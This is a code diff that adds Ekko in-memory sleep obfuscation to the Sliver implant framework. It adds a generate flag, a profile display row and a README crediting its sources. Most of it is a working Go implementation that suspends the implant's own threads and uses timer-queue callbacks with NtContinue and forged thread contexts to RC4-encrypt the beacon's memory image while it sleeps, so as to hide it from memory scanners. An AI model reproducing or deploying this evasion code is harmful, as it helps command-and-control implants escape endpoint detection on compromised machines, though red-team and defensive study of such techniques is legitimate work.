Add Ekko / Sleep Obfuscation to Sliver

client/command/generate/commands.go

@@ -307,6 +307,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
 		f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
 		f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
 		f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
+		f.BoolP("sleep-obfuscation", "B", false, "apply ekko in-memory sleep obfuscation")
 
 		f.StringP("canary", "c", "", "canary domain(s)")
 

client/command/generate/generate.go

@@ -272,6 +272,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 	debug, _ := cmd.Flags().GetBool("debug")
 	evasion, _ := cmd.Flags().GetBool("evasion")
 	templateName, _ := cmd.Flags().GetString("template")
+	sleepObfuscation, _ := cmd.Flags().GetBool("sleep-obfuscation")
 
 	reconnectInterval, _ := cmd.Flags().GetInt64("reconnect")
 	pollTimeout, _ := cmd.Flags().GetInt64("poll-timeout")
@@ -370,6 +371,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
 		Debug:            debug,
 		Evasion:          evasion,
 		SGNEnabled:       sgnEnabled,
+		SleepObfuscation: sleepObfuscation,
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,

client/command/generate/profiles.go

@@ -171,6 +171,12 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
 		properties["sgn"] = "disabled"
 	}
 
+	if config.SleepObfuscation {
+		properties["sleepobf"] = "enabled"
+	} else {
+		properties["sleepobf"] = "disabled"
+	}
+
 	reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
 	if reconnect == 1 {
 		plural = ""
@@ -314,6 +320,10 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
 		"Shikata Ga Nai (SGN) is",
 		properties["sgn"],
 	})
+	tw.AppendRow(table.Row{
+		"Sleep obfuscation (Ekko) is",
+		properties["sleepobf"],
+	})
 
 	con.PrintInfof("Obfuscation\n")
 	con.Printf("%s\n\n", tw.Render())

implant/sliver/ekko/README.md

@@ -0,0 +1,5 @@
+## ekko / Sliver    
+
+An adapted version of https://github.com/scriptchildie/goEkko, a golang implementation of the original https://github.com/Cracked5pider/Ekko.
+
+It allows for the memory region of the beacon to be encrypted while the beacon is sleeping.

implant/sliver/ekko/ekko.go

@@ -0,0 +1,226 @@
+package ekko
+
+import (
+	"crypto/rand"
+	"log"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+const (
+	WT_EXECUTEINTIMERTHREAD         = 0x00000020
+	ThreadQuerySetWin32StartAddress = 0x9
+)
+
+var (
+	// kernel32
+	kernel32dll               = syscall.NewLazyDLL("kernel32.dll")
+	procSuspendThread         = kernel32dll.NewProc("SuspendThread")
+	procResumeThread          = kernel32dll.NewProc("ResumeThread")
+	procGetModuleHandleA      = kernel32dll.NewProc("GetModuleHandleA")
+	procCreateEventW          = kernel32dll.NewProc("CreateEventW")
+	procCreateTimerQueue      = kernel32dll.NewProc("CreateTimerQueue")
+	procCreateTimerQueueTimer = kernel32dll.NewProc("CreateTimerQueueTimer")
+	procRtlCaptureContext     = kernel32dll.NewProc("RtlCaptureContext")
+	procVirtualProtect        = kernel32dll.NewProc("VirtualProtect")
+	procWaitForSingleObject   = kernel32dll.NewProc("WaitForSingleObject")
+	procSetEvent              = kernel32dll.NewProc("SetEvent")
+	procDeleteTimerQueue      = kernel32dll.NewProc("DeleteTimerQueue")
+
+	//ntdll
+	ntdll                        = syscall.NewLazyDLL("ntdll.dll")
+	procNtContinue               = ntdll.NewProc("NtContinue")
+	procNtQueryInformationThread = ntdll.NewProc("NtQueryInformationThread")
+
+	//Advapi32
+	Advapi32dll           = syscall.NewLazyDLL("Advapi32.dll")
+	procSystemFunction032 = Advapi32dll.NewProc("SystemFunction032")
+)
+
+func EkkoSleep(sleepTime uint64) error {
+
+	currentProcessID := uint32(windows.GetCurrentProcessId())
+
+	// Take a snapshot of all running threads in the system
+	hThreadSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0)
+	if err != nil {
+		return err
+	}
+	defer windows.CloseHandle(hThreadSnapshot)
+
+	var te32 windows.ThreadEntry32
+	te32.Size = uint32(unsafe.Sizeof(te32))
+
+	// Retrieve information about the first thread in the snapshot
+	err = windows.Thread32First(hThreadSnapshot, &te32)
+	if err != nil {
+		return err
+	}
+
+	for {
+		if te32.OwnerProcessID == currentProcessID {
+
+			if windows.GetCurrentThreadId() != te32.ThreadID {
+
+				hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
+				if err != nil {
+					continue
+				}
+				defer windows.CloseHandle(hThread)
+				var dwStartAddress, size uintptr
+				procNtQueryInformationThread.Call(uintptr(hThread), ThreadQuerySetWin32StartAddress, uintptr(unsafe.Pointer(&dwStartAddress)), unsafe.Sizeof(dwStartAddress), uintptr(unsafe.Pointer(&size)))
+
+				ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
+				e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
+				nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))
+				ImageEndAddress := ImageBase + uintptr(nt_header.OptionalHeader.SizeOfImage)
+
+				if dwStartAddress >= ImageBase && dwStartAddress <= ImageEndAddress {
+					procSuspendThread.Call(uintptr(hThread))
+				} else {
+					goto nextThread
+				}
+
+			}
+		}
+
+		// Retrieve information about the next thread in the snapshot
+	nextThread:
+		err = windows.Thread32Next(hThreadSnapshot, &te32)
+		if err != nil {
+			break // No more threads
+		}
+	}
+
+
+	te32.Size = uint32(unsafe.Sizeof(te32))
+	err = windows.Thread32First(hThreadSnapshot, &te32)
+	if err != nil {
+		return err
+	}
+
+	err = ekko(sleepTime)
+	error2 := err
+
+
+	// resume threads
+	for {
+		if te32.OwnerProcessID == currentProcessID {
+
+			if windows.GetCurrentThreadId() != te32.ThreadID {
+
+				hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
+				if err != nil {
+					continue
+				}
+				defer windows.CloseHandle(hThread)
+
+				procResumeThread.Call(uintptr(hThread))
+
+			}
+		}
+
+		// Retrieve information about the next thread in the snapshot
+		err = windows.Thread32Next(hThreadSnapshot, &te32)
+		if err != nil {
+			break // No more threads
+		}
+	}
+
+	if error2 != nil {
+		return error2
+	}
+	return nil
+}
+
+func ekko(sleepTime uint64) error {
+
+	var CtxThread CONTEXT
+	var RopProtRW CONTEXT
+	var RopMemEnc CONTEXT
+	var RopDelay CONTEXT
+	var RopMemDec CONTEXT
+	var RopProtRX CONTEXT
+	var RopSetEvt CONTEXT
+
+	var keybuf [16]byte
+        rand.Read(keybuf[:])
+
+	var Key, Img UString
+
+	ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
+	e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
+	nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))
+
+	hEvent, _, _ := procCreateEventW.Call(0, 0, 0, 0)
+	var hNewTimer, hTimerQueue uintptr
+	hTimerQueue, _, _ = procCreateTimerQueue.Call()
+
+	Img.Buffer = (*byte)(unsafe.Pointer(ImageBase))
+	Img.Length = nt_header.OptionalHeader.SizeOfImage
+
+	Key.Buffer = &keybuf[0]
+	Key.Length = uint32(unsafe.Sizeof(Key))
+
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procRtlCaptureContext.Addr(), uintptr(unsafe.Pointer(&CtxThread)), 0, 0, WT_EXECUTEINTIMERTHREAD)
+	windows.WaitForSingleObject(windows.Handle(hEvent), 0x100)
+
+	if CtxThread.Rip == 0 {
+		log.Fatalln()
+	}
+	RopProtRW = CtxThread
+	RopMemEnc = CtxThread
+	RopDelay = CtxThread
+	RopMemDec = CtxThread
+	RopProtRX = CtxThread
+	RopSetEvt = CtxThread
+
+	var OldProtect uint64
+	RopProtRW.Rsp -= 8
+	RopProtRW.Rip = uint64(procVirtualProtect.Addr())
+	RopProtRW.Rcx = uint64(ImageBase)
+	RopProtRW.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
+	RopProtRW.R8 = windows.PAGE_READWRITE
+	RopProtRW.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
+
+	RopMemEnc.Rsp -= 8
+	RopMemEnc.Rip = uint64(procSystemFunction032.Addr())
+	RopMemEnc.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
+	RopMemEnc.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
+
+	RopDelay.Rsp -= 8
+	RopDelay.Rip = uint64(procWaitForSingleObject.Addr())
+	RopDelay.Rcx = uint64(windows.CurrentProcess())
+	RopDelay.Rdx = sleepTime
+
+	RopMemDec.Rsp -= 8
+	RopMemDec.Rip = uint64(procSystemFunction032.Addr())
+	RopMemDec.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
+	RopMemDec.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
+
+	RopProtRX.Rsp -= 8
+	RopProtRX.Rip = uint64(procVirtualProtect.Addr())
+	RopProtRX.Rcx = uint64(ImageBase)
+	RopProtRX.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
+	RopProtRX.R8 = windows.PAGE_EXECUTE_READWRITE
+	RopProtRX.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
+
+	// SetEvent( hEvent );
+	RopSetEvt.Rsp -= 8
+	RopSetEvt.Rip = uint64(procSetEvent.Addr())
+	RopSetEvt.Rcx = uint64(hEvent)
+
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRW)), 100, 0, WT_EXECUTEINTIMERTHREAD)
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemEnc)), 200, 0, WT_EXECUTEINTIMERTHREAD)
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopDelay)), 300, 0, WT_EXECUTEINTIMERTHREAD)
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemDec)), 400, 0, WT_EXECUTEINTIMERTHREAD)
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRX)), 500, 0, WT_EXECUTEINTIMERTHREAD)
+	procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopSetEvt)), 600, 0, WT_EXECUTEINTIMERTHREAD)
+
+	windows.WaitForSingleObject(windows.Handle(hEvent), windows.INFINITE)
+	procDeleteTimerQueue.Call(hTimerQueue)
+
+	return nil
+}